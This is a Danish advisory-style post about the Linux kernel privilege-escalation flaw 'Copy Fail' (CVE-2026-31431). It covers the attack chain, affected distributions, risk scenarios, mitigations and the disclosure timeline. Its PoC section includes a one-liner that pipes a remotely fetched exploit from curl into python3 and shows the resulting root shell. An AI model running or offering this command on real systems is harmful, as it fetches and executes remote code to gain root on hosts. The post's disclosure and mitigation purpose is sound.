Dansk

← Tilbage til listen

732 byte rammer alle Linux-systemer: Episk sårbarhed har luret i næsten ti år

itadol5j

Copy Fail-sårbarheden

🚨 Episk sårbarhed: 732 byte rammer alle Linux-systemer og har luret i næsten ti år

En sårbarhed i Linux-kernen kaldet ”Copy Fail” (CVE-2026-31431) er blevet offentliggjort:

  • 732 byte Python-script
  • er 100 % pålideligt og kræver hverken race-vinduer eller kerne-offsets
  • Berører alle Linux-distributioner (fra 2017 og frem)
  • Primitiv til container-escape og angreb på tværs af tenants
  • Har luret i næsten ti år og blev offentliggjort den 29. april 2026

Det samme script virker på Ubuntu, RHEL, Amazon Linux og SUSE – uden ændringer.

🎯 Sårbarhedens kerne

En enkelt logisk fejl

Copy Fail er en ligefrem logisk fejl:

  • Intet race-vindue er nødvendigt: i modsætning til de fleste Linux-LPE'er, der kræver race conditions
  • Ingen kerne-offsets er nødvendige: ingen distributionsspecifikke offsets
  • 100 % pålidelig: lykkes hver gang
  • Det samme script: virker på alle distributioner

Angrebskæden

Copy Fails angrebskæde:

  • authencesn-logikfejl: en logisk fejl i koden
  • AF_ALG: via kernelens crypto-API
  • splice(): kædede kald
  • 4 bytes page-cache-skrivning: det endelige angrebsprimitiv
  • Udnyttelig i næsten ti år: fra 2017 og til patchen udkom

📊 Omfanget af berørte systemer

Officielt verificerede distributioner

Distribution Kerneversion Status
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Verificeret
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Verificeret
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Verificeret
SUSE 16 6.12.0-160000.9-default ✅ Verificeret

Andre berørte distributioner

Følgende distributionerer også berørt:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Embedded Linux

Konklusion: hvis din kerne er bygget mellem 2017 og patchen – er du berørt.

💡 Højrisikoscenarier

Scenarie Risiko Konsekvens
Multi-tenant Linux-værter Høj Hvilken som helst bruger kan blive root
Kubernetes-/containerklynger Høj Angreb på tværs af containere og tenants
CI-runner/Build Farm Høj En PR giver root på runneren
Cloud SaaS, der kører brugerkode Høj Tenant bliver hostens root
Almindelige Linux-servere Middel Intern LPE, kan kædes sammen
Enkeltbruger-bærbare Lav Trin til rettighedsforhøjelse efter indtrængen

🔧 Afhjælpning

Løsning 1: Opdatér kernen (anbefalet)

Opdatér kernen til en version, der indeholder mainline commit a664bf3d603d:

  • Rettelsen: tilbagekalder algif_aead in-place-optimeringen fra 2017
  • Effekt: page-cache-sider optræder ikke længere i den skrivbare destination-scatterlist
  • Status: de fleste store distributioner har udsendt patches

Løsning 2: Deaktivér algif_aead-modulet (midlertidigt)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Konsekvenser af at deaktivere algif_aead

Komponent Påvirkning
dm-crypt/LUKS Påvirkes ikke
kTLS/IPsec Påvirkes ikke
OpenSSL/SSH Påvirkes ikke
AF_ALG i userspace Påvirkes muligvis

Konklusion: for de fleste systemer har deaktivering af algif_aead ingen mærkbar påvirkning.

Løsning 3: Blokér AF_ALG med seccomp

For upålidelige workloads (containere, sandboxes, CI) kan oprettelse af AF_ALG-sockets blokeres med seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 PoC-demo

PoC'en for sårbarheden er offentliggjort, så forsvaret kan verificere deres systemer:

Hurtig kørsel

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

PoC-detaljer

  • Filstørrelse: 732 byte
  • Sprog: Python 3.10+ – kun stdlib (os, socket, zlib)
  • Standardmål: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Advarsel: scriptet ændrer page-cachen for et setuid-program; ændringerne overlever ikke en genstart, men root-shellen er ægte. Kør det ikke i produktionsmiljøer.

📅 Tidslinje for offentliggørelsen

Dato Hændelse
2026-03-23 Rapporteret til Linux-kernens security-team
2026-03-24 Indledende bekræftelse
2026-03-25 Patch-forslag og review
2026-04-01 Patch indsendt til mainline
2026-04-22 CVE-2026-31431 tildelt
2026-04-29 Offentliggørelse

🔍 Opdageren: Xint Code

Sårbarheden blev opdaget af Xint Code:

  • Skanningstid: ca. 1 times skanning af Linux crypto/-subsystemet
  • Opdagelsesmetode: AI-drevet kodegennemgang
  • Fuld analyse: root cause, diagrammer, operator prompt
  • Andre fund: andre sårbarheder med høj alvorlighedsgrad blev opdaget samtidig og er stadig under koordineret offentliggørelse

Xint Codes meritter

  • 0-day RCE: ZeroDay Cloud – ryddede af med hele databasekategorien (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: finale i DARPA AI Cyber Challenge
  • DEF CON CTF 9×: det mest vindende hold i DEF CON CTF's historie

📝 Konklusion

Copy Fail (CVE-2026-31431) er en episk sårbarhed i Linux-kernen:

  • 732 byte rammer alle Linux-systemer (fra 2017 og frem)
  • 100 % pålidelig, en enkelt logisk fejl
  • Container-escape og angreb på tværs af tenants
  • Har luret i næsten ti år og blev offentliggjort den 29. april 2026
  • Højrisikoscenarier: multi-tenant-værter, containerklynger, CI-runners, SaaS
  • Afhjælpning: opdatér kernen eller deaktivér algif_aead
  • Opdaget af Xint Code med AI-drevet kodegennemgang

En episk sårbarhed i næsten ti år – ét script rammer alle Linux-systemer.

Sårbarhedens officielle hjemmeside:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

Teknisk analyse:https://xint.io/blog/copy-fail-linux-distributions

Kernel-patch:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5